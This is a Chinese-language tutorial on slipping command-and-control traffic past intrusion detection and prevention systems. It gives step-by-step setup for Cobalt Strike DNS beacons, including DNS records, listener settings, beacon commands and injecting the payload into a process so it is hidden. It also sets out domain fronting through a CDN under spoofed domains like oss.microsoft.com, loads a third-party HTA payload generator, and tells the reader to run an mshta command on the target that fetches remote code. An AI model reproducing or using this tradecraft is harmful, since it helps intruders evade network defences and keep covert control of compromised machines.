内网流量规避

 

IDS和IPS概述:

IDS(intrusion detection system)入侵检测系统,旁路检测设备,工作在网络层,并行接在内网所需防护设备的链路上,通过抓取流量分析数据包,匹配规则库检测到恶意数据进行报警处理。

IPS(Intrusion-prevention system)入侵防御系统,可覆盖网络层和应用层,比IDS多了主动防御,阻断攻击的功能。

知道IPS的工作原理之后,最直接的方法就是将自己的流量伪装或者隐藏自己的流量。那么如何实现呢?下面我们来介绍两种方法:

 

DNS beacon+CobaltStrike

将数据通过dns隧道进行传输,基于udp,利用53端口,隐蔽性强。大多数防火墙和入侵检测设备对DNS流量是放行的,能有一定效果的绕过入侵检测设备和防火墙的检测。由于dns传输的过程会经过很多dns节点服务器,所以传输速度会相对较慢。

dns beacon数据链路

1.被控端收到命令之后,向自己记录的dns服务器请求解析域名。

2.内网dns收到请求之后找不到该域名,将请求交给权威域名服务器查询。

3.权威域名服务器向其他服务器同步请求。

4.找到对应的ip为自己的cs服务器,解析请求,实现dns数据链路传输。

 

配置方法

配置dns

1.申请域名,添加A记录,将域名与公网ip进行绑定。

2.添加NS记录,将ns记录指向到A记录的主机名。

NS记录可设置2-3个,只需主机记录不一样就行,例:ns1 ns3

注:添加记录10分钟后生效,用nslookup查询ns记录,结果为0.0.0.0就是同步成功

生成DNS-beacon监听器

1. 新建dns-beacon

Cobalt Strike——Listeners,点击add新建监听器。(生成dns监听器后,cs服务器就相当于一台dns服务器了)

2. 参数设置

Payload:选择Beacon DNS

Name:自行设定

DNS Hosts:填写你的NS记录 (如果有多个NS记录可以都写上)

DNS Hosts(Stager): 填写你的任意一条NS记录

3. 添加成功

注:DNS HOST(Stager) 字段配置 DNS Beacon 的 TXT 记录 stager。这个 stager 仅被用在要求显式stager 的 Cobalt Strike 功能中。你的 Cobalt Strike 团队服务器系统也必须对此域名具有权威性。

生成payload

目标机为64位win7,所以勾选上生成64位payload。

放到被控机上运行。之后上线的效果,不会显示任何信息。

需要使用以下两条命令才能有显示:

mode dns 设置数据通道模式

checkin 使beacon强制回连一次

通道模式有三种

mode dns 使用dns A记录的数据通道(ipv4)

mode dns6 使用dns AAAA记录的数据通道(ipv6)

mode dns-txt 使用dns TXT记录的数据通道

输入完之后等待beacon的下一次心跳连接,dns就会接收带有命令的数据包发送给目标机win7去执行。

抓包可看到dns发送极小的数据包

在cs端执行命令,查看数据包,可发现txt记录里为加密传输,并且解析的ns1级了为0.0.0.0,有效的隐藏了真实ip和传输的数据。

此时在被控端的设备上查看任务管理器还能看到运行的任务进程。

在cs端打开进程列表,选择进程,点击Inject,将payload注入到进程中,等待上线后,删除原来的payload,进行进程隐藏。

效果如下,可以看到已经注入成功,process为sqlserver.exe

总结:

优势:此方法可以隐藏自己的真实ip,走udp协议,所以不会开放额外的端口,迁移进程之后也无法看到payload所使用的原始程序,同时也对数据进行加密处理。

劣势:但由于还是会暴露自身的域名,且现在有一些安全设备已经具备了监测dns流量的功能,所以还是会被找到攻击者的痕迹。

 

Domain Fronting

Domain Fronting,中文译名 “域前置” 或 “域名前置”,用于隐藏服务器真实ip并伪装成高信誉域名与目标通讯,来规避IDS的流量检测,Domain Fronting 的核心技术是 CDN。

CDN请求机制:

如果有多台设备使用同一个cdn服务器,那么服务器就可以通过host头去寻找指定的真实服务器。

同一个cdn服务器下不存在多个ip绑定一个域名,绑定同样的域名会有错误提示。

配置方法:

配置CDN

购买云服务器,开通CDN服务。

加速域名:随便填个高信誉的域名实现域名伪造,例如:oss.microsoft.com,abc.google.com之类的。

IP:填写cs服务器的ip地址。

过几分钟等状态变为正常运行即可。

复制CNAME,去站长工具上ping,响应的ip就是各大机房的cdn服务器ip。

输入curl (CDN任意机房)IP -H “Host: (伪造域名)” -v

此时能出来404就对了。(要等很久,一直是报502的错)

不明白的看上面的伪造请求的流程图!!!

配置c2-profile

⚠️注意:cs需要使用3.x版本,4.x版本不支持。

1.直接使用开源项目 Malleable-C2-Profiles 中的 amazon.profile,但需要把其中的 Host 头改成我们自己在 CDN 中绑定的域名。

点击amoazon.profile打开下载地址

2.将文件保存放在cs服务端的根目录,在启动脚本后面加上./amazon.profile进行加载。

配置cs

1.新建一个listener,选择httppayload,主机填cdn绑定的域名

2.点击确定后,下面的界面输入任意一个阿里云cdn的ip地址即可。

3.点击视图——web日志,可看到各种404的信息,那就对了。(挺耗流量的,用完记得把监听删掉)

4.因为域前置流量的特殊性,cs自带的payload都无法使用,不过还好有大佬已经写好了payload,直接加载进来即可。

点击CACTUSTORCH进入下载页面

使用方法:

a.将文件解压到cs客户端根目录

b.打开cs选择脚本管理器

c.点击load

d.选择CACTUSTORCH.can进行加载

5.点击攻击,会多出来一个payload选项

6.local host填公网ip,选择刚刚创建的listener,type我用的是hta。

7.确认之后生成payload链接。复制下来。

8.在目标机上运行mshta http://xx.xx.xx.xx:80/a

即可看到目标上线,external地址会不断的变化,都为cdn服务器的ip

9.开启wireshark抓虚拟机的包,没有cs服务器的真实ip

搜索cdn服务器地址,看到的host为oss.microsoft.com,页面状态码都为200即可。

 

4总结

优势:此方法能有效的隐藏自己真实的ip和域名等信息,对方能看到的只能是cdn的域名。且传输速度快。

劣势:长期对自身资源消耗极大。

(完)